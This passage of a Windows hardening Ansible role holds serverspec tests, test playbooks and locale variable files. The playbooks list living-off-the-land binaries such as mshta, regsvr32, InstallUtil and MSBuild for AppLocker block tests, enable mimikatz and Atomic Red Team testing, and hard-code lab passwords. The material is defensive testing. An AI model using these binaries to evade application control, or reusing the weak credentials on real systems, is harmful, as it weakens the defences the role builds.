} 39 | it { should have_property_value('multistring value', :type_multistring, "test\nmulti\nstring\ndata") } 40 | it { should have_property_value('qword value', :type_qword, 'adff32') } 41 | it { should have_property_value('binary value', :type_binary, 'dfa0f066') } 42 | end 43 | 44 | describe command('& "powershell -Command \"get-eventlog -list\""') do 45 | its(:stdout) { should match /Max/ } 46 | its(:stdout) { should match /308,400.*Security/ } 47 | its(:stdout) { should match /308,400.*System/ } 48 | its(:stdout) { should match /308,400.*Application/ } 49 | end 50 | describe command('& "wevtutil gl Application"') do 51 | its(:stdout) { should match /maxSize:/ } 52 | its(:stdout) { should_not match /Failed to/ } 53 | end 54 | 55 | describe command('& "ftype htafile"') do 56 | its(:stdout) { should match /notepad.exe/ } 57 | its(:stdout) { should_not match /mshta.exe/ } 58 | end 59 | -------------------------------------------------------------------------------- /test/integration/default/connection_plugins/packer.py: -------------------------------------------------------------------------------- 1 | # from https://www.packer.io/docs/provisioners/ansible.html 2 | from __future__ import (absolute_import, division, print_function) 3 | __metaclass__ = type 4 | 5 | from ansible.plugins.connection.ssh import Connection as SSHConnection 6 | 7 | class Connection(SSHConnection): 8 | ''' ssh based connections for powershell via packer''' 9 | 10 | transport = 'packer' 11 | has_pipelining = True 12 | become_methods = [] 13 | allow_executable = False 14 | module_implementation_preferences = ('.ps1', '') 15 | 16 | def __init__(self, *args, **kwargs): 17 | super(Connection, self).__init__(*args, **kwargs) 18 | -------------------------------------------------------------------------------- /test/integration/default/default.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Test Integration playbook 4 | hosts: all 5 | vars: 6 | harden_win_securityupdates: false 7 | # harden_win_registry: false 8 | # harden_win_gpo_local: true 9 | # harden_win_inf_MinimumPasswordLength: 6 10 | # harden_win_inf_PasswordComplexity: 0 11 | # harden_win_adobereader: false 12 | # harden_win_flash: false 13 | harden_win_netcease: false 14 | # harden_win_simplednscrypt: false 15 | # win_osquery: false 16 | # harden_win_certificates_review: false 17 | # harden_win_lsa_harden: true 18 | # harden_win_mbrfilter: true 19 | harden_win_samri: false 20 | harden_win_restrict_usb: true 21 | harden_win_remotelogging: false 22 | win_firewall: false 23 | harden_win_configure_errorreporting: true 24 | harden_win_restrict_dma: true 25 | harden_win_forcing_afterhours_logoff: true 26 | # harden_win_wef_enable: true 27 | # harden_win_wef_collector_server_user: '' 28 | win_applocker_enable: true 29 | win_applocker_policy: "applocker-medium.xml" 30 | win_applocker_mode_exe: "Enabled" 31 | win_applocker_mode_script: "AuditOnly" 32 | win_applocker_mode_msi: "Enabled" 33 | win_applocker_mode_appx: "Enabled" 34 | win_applocker_mode_dll: "AuditOnly" 35 | win_testing_applocker_filepath: 36 | - 'c:\windows\system32\calc.exe' 37 | - 'c:\windows\system32\mshta.exe' 38 | - 'c:\windows\system32\regsvr32.exe' 39 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe' 40 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe' 41 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' 42 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe' 43 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe' 44 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe' 45 | harden_win_testing: true 46 | harden_win_testing_inspec: true 47 | win_testing_applocker: true 48 | harden_win_testing_uac: false 49 | harden_win_testing_opf: false 50 | harden_win_testing_privesc: false 51 | harden_win_testing_mimikatz: true 52 | win_testing_msoffice: false 53 | harden_win_testing_speculative: true 54 | harden_win_testing_intelme: false 55 | harden_win_testing_iad: true 56 | harden_win_testing_iad_apply: false 57 | harden_win_testing_detections: true 58 | harden_win_testing_densityscout: true 59 | # if Azure 60 | # harden_win_NtlmMinServerSec: 536870912 61 | # harden_win_testing_mimikatz: false 62 | # harden_win_testing_detections: false 63 | roles: 64 | - juju4.harden_windows 65 | -------------------------------------------------------------------------------- /test/integration/default/serverspec/Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem 'serverspec' 4 | gem 'rake' 5 | ## for junit output and jenkins support 6 | ## FIXME! travis: 'Could not find gem 'yarjuf' in any of the gem sources listed in your Gemfile or available on this machine.' 7 | #gem 'yarjuf' 8 | -------------------------------------------------------------------------------- /test/integration/default/serverspec/Rakefile: -------------------------------------------------------------------------------- 1 | require 'rake' 2 | require 'rspec/core/rake_task' 3 | 4 | RSpec::Core::RakeTask.new(:spec) do |t| 5 | t.pattern = '*_spec.rb' 6 | end 7 | 8 | task :default => :spec 9 | -------------------------------------------------------------------------------- /test/integration/default/serverspec/hardenwindows_spec.rb: -------------------------------------------------------------------------------- 1 | ## https://github.com/mizzy/serverspec/blob/master/WINDOWS_SUPPORT.md 2 | ## http://shawinnes.com/testing-windows-infrastructure-with-serverspec/ 3 | ## http://kitchen.ci/blog/test-kitchen-windows-test-flight-with-vagrant 4 | ## TARGET_HOST=192.168.2.109 rake spec 5 | 6 | require 'serverspec' 7 | require 'winrm' 8 | 9 | set :backend, :winrm 10 | set :os, :family => 'windows' 11 | 12 | user = 'vagrant' 13 | pass = 'vagrant' 14 | endpoint = "http://#{ENV['TARGET_HOST']}:5985/wsman" 15 | 16 | ## WARN WinRM::WinRMWebService : WinRM::WinRMWebService#run_powershell_script is deprecated. Use WinRM::CommandExecutor#run_powershell_script instead 17 | ## WARN WinRM::WinRMWebService : [WinRM] connection failed, terminating (# user, :pass => pass, :basic_auth_only => true) 20 | winrm.set_timeout 300 # 5 minutes max timeout for any operation 21 | Specinfra.configuration.winrm = winrm 22 | 23 | describe file('c:/windows') do 24 | it { should be_directory } 25 | it { should be_readable } 26 | it { should_not be_writable.by('Everyone') } 27 | end 28 | 29 | describe port(139) do 30 | it { should be_listening } 31 | end 32 | 33 | describe windows_registry_key('HKEY_USERS\S-1-5-21-1319311448-2088773778-316617838-32407\Test MyKey') do 34 | it { should exist } 35 | it { should have_property('string value') } 36 | it { should have_property('binary value', :type_binary) } 37 | it { should have_property('dword value', :type_dword) } 38 | it { should have_value('test default data') } 39 | it { should have_property_value('multistring value', :type_multistring, "test\nmulti\nstring\ndata") } 40 | it { should have_property_value('qword value', :type_qword, 'adff32') } 41 | it { should have_property_value('binary value', :type_binary, 'dfa0f066') } 42 | end 43 | 44 | describe command('& "powershell -Command \"get-eventlog -list\""') do 45 | its(:stdout) { should match /Max/ } 46 | its(:stdout) { should match /308,400.*Security/ } 47 | its(:stdout) { should match /308,400.*System/ } 48 | its(:stdout) { should match /308,400.*Application/ } 49 | end 50 | describe command('& "wevtutil gl Application"') do 51 | its(:stdout) { should match /maxSize:/ } 52 | its(:stdout) { should_not match /Failed to/ } 53 | end 54 | 55 | describe command('& "ftype htafile"') do 56 | its(:stdout) { should match /notepad.exe/ } 57 | its(:stdout) { should_not match /mshta.exe/ } 58 | end 59 | -------------------------------------------------------------------------------- /test/integration/full/connection_plugins/packer.py: -------------------------------------------------------------------------------- 1 | # from https://www.packer.io/docs/provisioners/ansible.html 2 | from __future__ import (absolute_import, division, print_function) 3 | __metaclass__ = type 4 | 5 | from ansible.plugins.connection.ssh import Connection as SSHConnection 6 | 7 | class Connection(SSHConnection): 8 | ''' ssh based connections for powershell via packer''' 9 | 10 | transport = 'packer' 11 | has_pipelining = True 12 | become_methods = [] 13 | allow_executable = False 14 | module_implementation_preferences = ('.ps1', '') 15 | 16 | def __init__(self, *args, **kwargs): 17 | super(Connection, self).__init__(*args, **kwargs) 18 | -------------------------------------------------------------------------------- /test/integration/full/default.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Test integration playbook 4 | hosts: all 5 | become_method: ansible.builtin.runas 6 | vars: 7 | harden_win_securityupdates: false 8 | # harden_win_registry: false 9 | # harden_win_gpo_local: true 10 | # harden_win_inf_MinimumPasswordLength: 6 11 | # harden_win_inf_PasswordComplexity: 0 12 | # harden_win_adobereader: false 13 | # harden_win_flash: false 14 | harden_win_netcease: false 15 | # harden_win_simplednscrypt: false 16 | # win_osquery: false 17 | # win_osquery_enable_winevtx_logging: false 18 | # harden_win_certificates_review: false 19 | # harden_win_lsa_harden: true 20 | # harden_win_mbrfilter: true 21 | harden_win_samri: false 22 | harden_win_restrict_usb: true 23 | harden_win_remotelogging: false 24 | win_firewall: false 25 | harden_win_configure_errorreporting: true 26 | harden_win_restrict_dma: true 27 | harden_win_forcing_afterhours_logoff: true 28 | # harden_win_wef_enable: true 29 | # harden_win_wef_collector_server_user: '' 30 | win_powershellmodules: 31 | - SecurityPolicyDsc 32 | - AuditPolicyDsc 33 | - GpRegistryPolicy 34 | - SecurityCmdlets 35 | win_applocker_enable: true 36 | win_applocker_policy: "applocker-medium.xml" 37 | win_applocker_mode_exe: "Enabled" 38 | win_applocker_mode_script: "AuditOnly" 39 | win_applocker_mode_msi: "Enabled" 40 | win_applocker_mode_appx: "Enabled" 41 | win_applocker_mode_dll: "AuditOnly" 42 | win_testing_applocker_filepath: 43 | - 'c:\windows\system32\calc.exe' 44 | - 'c:\windows\system32\mshta.exe' 45 | - 'c:\windows\system32\regsvr32.exe' 46 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe' 47 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe' 48 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' 49 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe' 50 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe' 51 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe' 52 | harden_win_testing: true 53 | harden_win_testing_inspec: true 54 | win_testing_applocker: false 55 | harden_win_testing_uac: false 56 | harden_win_testing_opf: false 57 | harden_win_testing_privesc: false 58 | harden_win_testing_mimikatz: true 59 | win_testing_msoffice: false 60 | harden_win_testing_speculative: true 61 | harden_win_testing_intelme: false 62 | harden_win_testing_iad: true 63 | harden_win_testing_iad_apply: false 64 | harden_win_Is_DC: false 65 | roles: 66 | # - juju4.win_firewall 67 | - juju4.win_eventlog 68 | - juju4.win_audit 69 | - juju4.win_powershell 70 | # - juju4.win_applocker 71 | - juju4.win_msoffice 72 | - juju4.win_services 73 | - juju4.win_sysmon 74 | - juju4.win_osquery 75 | - juju4.harden_windows 76 | # - juju4.win_ad-monitor 77 | # - juju4.win_aptsimulator 78 | # - juju4.win_atomic_red_team 79 | -------------------------------------------------------------------------------- /test/integration/full/serverspec/Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem 'serverspec' 4 | gem 'rake' 5 | ## for junit output and jenkins support 6 | ## FIXME! travis: 'Could not find gem 'yarjuf' in any of the gem sources listed in your Gemfile or available on this machine.' 7 | #gem 'yarjuf' 8 | -------------------------------------------------------------------------------- /test/integration/full/serverspec/Rakefile: -------------------------------------------------------------------------------- 1 | require 'rake' 2 | require 'rspec/core/rake_task' 3 | 4 | RSpec::Core::RakeTask.new(:spec) do |t| 5 | t.pattern = '*_spec.rb' 6 | end 7 | 8 | task :default => :spec 9 | -------------------------------------------------------------------------------- /test/integration/full/serverspec/hardenwindows_spec.rb: -------------------------------------------------------------------------------- 1 | ## https://github.com/mizzy/serverspec/blob/master/WINDOWS_SUPPORT.md 2 | ## http://shawinnes.com/testing-windows-infrastructure-with-serverspec/ 3 | ## http://kitchen.ci/blog/test-kitchen-windows-test-flight-with-vagrant 4 | ## TARGET_HOST=192.168.2.109 rake spec 5 | 6 | require 'serverspec' 7 | require 'winrm' 8 | 9 | set :backend, :winrm 10 | set :os, :family => 'windows' 11 | 12 | user = 'vagrant' 13 | pass = 'vagrant' 14 | endpoint = "http://#{ENV['TARGET_HOST']}:5985/wsman" 15 | 16 | ## WARN WinRM::WinRMWebService : WinRM::WinRMWebService#run_powershell_script is deprecated. Use WinRM::CommandExecutor#run_powershell_script instead 17 | ## WARN WinRM::WinRMWebService : [WinRM] connection failed, terminating (# user, :pass => pass, :basic_auth_only => true) 20 | winrm.set_timeout 300 # 5 minutes max timeout for any operation 21 | Specinfra.configuration.winrm = winrm 22 | 23 | describe file('c:/windows') do 24 | it { should be_directory } 25 | it { should be_readable } 26 | it { should_not be_writable.by('Everyone') } 27 | end 28 | 29 | describe port(139) do 30 | it { should be_listening } 31 | end 32 | 33 | describe windows_registry_key('HKEY_USERS\S-1-5-21-1319311448-2088773778-316617838-32407\Test MyKey') do 34 | it { should exist } 35 | it { should have_property('string value') } 36 | it { should have_property('binary value', :type_binary) } 37 | it { should have_property('dword value', :type_dword) } 38 | it { should have_value('test default data') } 39 | it { should have_property_value('multistring value', :type_multistring, "test\nmulti\nstring\ndata") } 40 | it { should have_property_value('qword value', :type_qword, 'adff32') } 41 | it { should have_property_value('binary value', :type_binary, 'dfa0f066') } 42 | end 43 | 44 | describe command('& "powershell -Command \"get-eventlog -list\""') do 45 | its(:stdout) { should match /Max/ } 46 | its(:stdout) { should match /308,400.*Security/ } 47 | its(:stdout) { should match /308,400.*System/ } 48 | its(:stdout) { should match /308,400.*Application/ } 49 | end 50 | describe command('& "wevtutil gl Application"') do 51 | its(:stdout) { should match /maxSize:/ } 52 | its(:stdout) { should_not match /Failed to/ } 53 | end 54 | 55 | describe command('& "ftype htafile"') do 56 | its(:stdout) { should match /notepad.exe/ } 57 | its(:stdout) { should_not match /mshta.exe/ } 58 | end 59 | -------------------------------------------------------------------------------- /test/vagrant/SetNetworkCategory.ps1: -------------------------------------------------------------------------------- 1 | Get-NetConnectionProfile | Set-NetConnectionProfile -NetworkCategory Private 2 | -------------------------------------------------------------------------------- /test/vagrant/ad-dc.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Test vagrant playbook 4 | hosts: all 5 | roles: 6 | - juju4.harden_windows 7 | tasks: 8 | - name: Promote current server as Domain Controller 9 | ansible.windows.win_domain_controller: 10 | dns_domain_name: ansible.vagrant 11 | domain_admin_user: testguy@ansible.vagrant 12 | domain_admin_password: password123! 13 | safe_mode_password: password123! 14 | state: domain_controller 15 | log_path: c:\ansible_win_domain_controller.txt 16 | register: dcpromo 17 | - name: Reboot upon promotion # noqa no-changed-when 18 | ansible.builtin.raw: shutdown /r 19 | when: dcpromo.reboot_required 20 | async: 0 21 | poll: 0 22 | failed_when: false 23 | -------------------------------------------------------------------------------- /test/vagrant/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | callbacks_enabled = profile_tasks, timer 3 | roles_path = ../../../ 4 | 5 | ansible_connection: winrm 6 | ansible_winrm_server_cert_validation: ignore 7 | ansible_winrm_transport: ssl 8 | #ansible_winrm_transport: kerberos,plaintext 9 | ansible_winrm_scheme: http 10 | #ansible_winrm_scheme: https 11 | ## does not seem to apply 12 | #ansible_port: 55986 13 | -------------------------------------------------------------------------------- /test/vagrant/site.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Test vagrant playbook 4 | hosts: all 5 | become_method: ansible.builtin.runas 6 | vars: 7 | harden_win_securityupdates: false 8 | # harden_win_registry: false 9 | # harden_win_gpo_local: true 10 | # harden_win_inf_MinimumPasswordLength: 6 11 | # harden_win_inf_PasswordComplexity: 0 12 | # harden_win_adobereader: false 13 | # harden_win_flash: false 14 | # harden_win_netcease: false 15 | # harden_win_simplednscrypt: false 16 | # win_osquery: false 17 | # harden_win_certificates_review: false 18 | # harden_win_lsa_harden: true 19 | harden_win_mbrfilter: true 20 | harden_win_restrict_usb: true 21 | harden_win_remotelogging: true 22 | win_firewall: false 23 | harden_win_configure_errorreporting: true 24 | harden_win_restrict_dma: true 25 | # harden_win_wef_enable: true 26 | # harden_win_wef_collector_server_user: '' 27 | win_applocker_enable: true 28 | win_applocker_policy: "applocker-medium.xml" 29 | win_applocker_mode_exe: "Enabled" 30 | win_applocker_mode_script: "AuditOnly" 31 | win_applocker_mode_msi: "Enabled" 32 | win_applocker_mode_appx: "Enabled" 33 | win_applocker_mode_dll: "AuditOnly" 34 | win_testing_applocker_filepath: 35 | - 'c:\windows\system32\calc.exe' 36 | - 'c:\windows\system32\mshta.exe' 37 | - 'c:\windows\system32\regsvr32.exe' 38 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe' 39 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe' 40 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' 41 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe' 42 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe' 43 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe' 44 | harden_win_testing: true 45 | harden_win_testing_inspec: true 46 | win_testing_applocker: true 47 | harden_win_testing_uac: false 48 | harden_win_testing_opf: false 49 | harden_win_testing_privesc: false 50 | harden_win_testing_mimikatz: true 51 | win_testing_msoffice: false 52 | harden_win_testing_speculative: true 53 | harden_win_testing_intelme: false 54 | harden_win_testing_iad: true 55 | harden_win_testing_iad_apply: false 56 | roles: 57 | # - juju4.win_firewall 58 | - juju4.win_eventlog 59 | - juju4.win_audit 60 | - juju4.win_powershell 61 | - juju4.win_applocker 62 | - juju4.win_msoffice 63 | - juju4.win_services 64 | - juju4.win_sysmon 65 | - juju4.win_osquery 66 | - juju4.harden_windows 67 | - juju4.win_aptsimulator 68 | - juju4.win_atomic_red_team 69 | tasks: 70 | - name: Check host is accessible 71 | ansible.windows.win_ping: 72 | -------------------------------------------------------------------------------- /vars/appveyor.yml: -------------------------------------------------------------------------------- 1 | --- 2 | -------------------------------------------------------------------------------- /vars/de-DE.yml: -------------------------------------------------------------------------------- 1 | --- 2 | windows_feature_dism_output: Der Vorgang wurde erfolgreich beendet. 3 | windows_feature_dism_status: "Status : Deaktiviert" 4 | 5 | windows_mld_level: Ebene 6 | 7 | windows_all_application_packages: Alle Anwendungspakete 8 | 9 | windows_local_gpo_administrators: Administratoren 10 | 11 | windows_user_administrator: Administrator 12 | windows_user_guest: Gast 13 | windows_user_creator_owner: ERSTELLER-BESITZER 14 | 15 | windows_group_guests: Gäste 16 | windows_group_power_users: Hauptbenutzer 17 | windows_group_users: Benutzer 18 | windows_group_system: SYSTEM 19 | windows_group_builtin_user: VORDEFINIERT\{{ windows_group_users }} 20 | windows_group_authenticated_users: Authenticated Users 21 | -------------------------------------------------------------------------------- /vars/en-EN.yml: -------------------------------------------------------------------------------- 1 | --- 2 | windows_feature_dism_output: The operation completed successfully 3 | windows_feature_dism_status: "Status : Deactivated" 4 | 5 | windows_mld_level: Level 6 | 7 | windows_all_application_packages: ALL APPLICATION PACKAGES 8 | 9 | windows_local_gpo_administrators: Administrators 10 | 11 | windows_user_administrator: Administrator 12 | windows_user_guest: Guest 13 | windows_user_creator_owner: CREATOR OWNER 14 | 15 | windows_group_guests: Guests 16 | windows_group_power_users: Power Users 17 | windows_group_users: Users 18 | windows_group_system: SYSTEM 19 | windows_group_builtin_user: BUILTIN\{{ windows_group_users }} 20 | windows_group_authenticated_users: Authenticated Users 21 | -------------------------------------------------------------------------------- /vars/vagrant.yml: -------------------------------------------------------------------------------- 1 | --- 2 | --------------------------------------------------------------------------------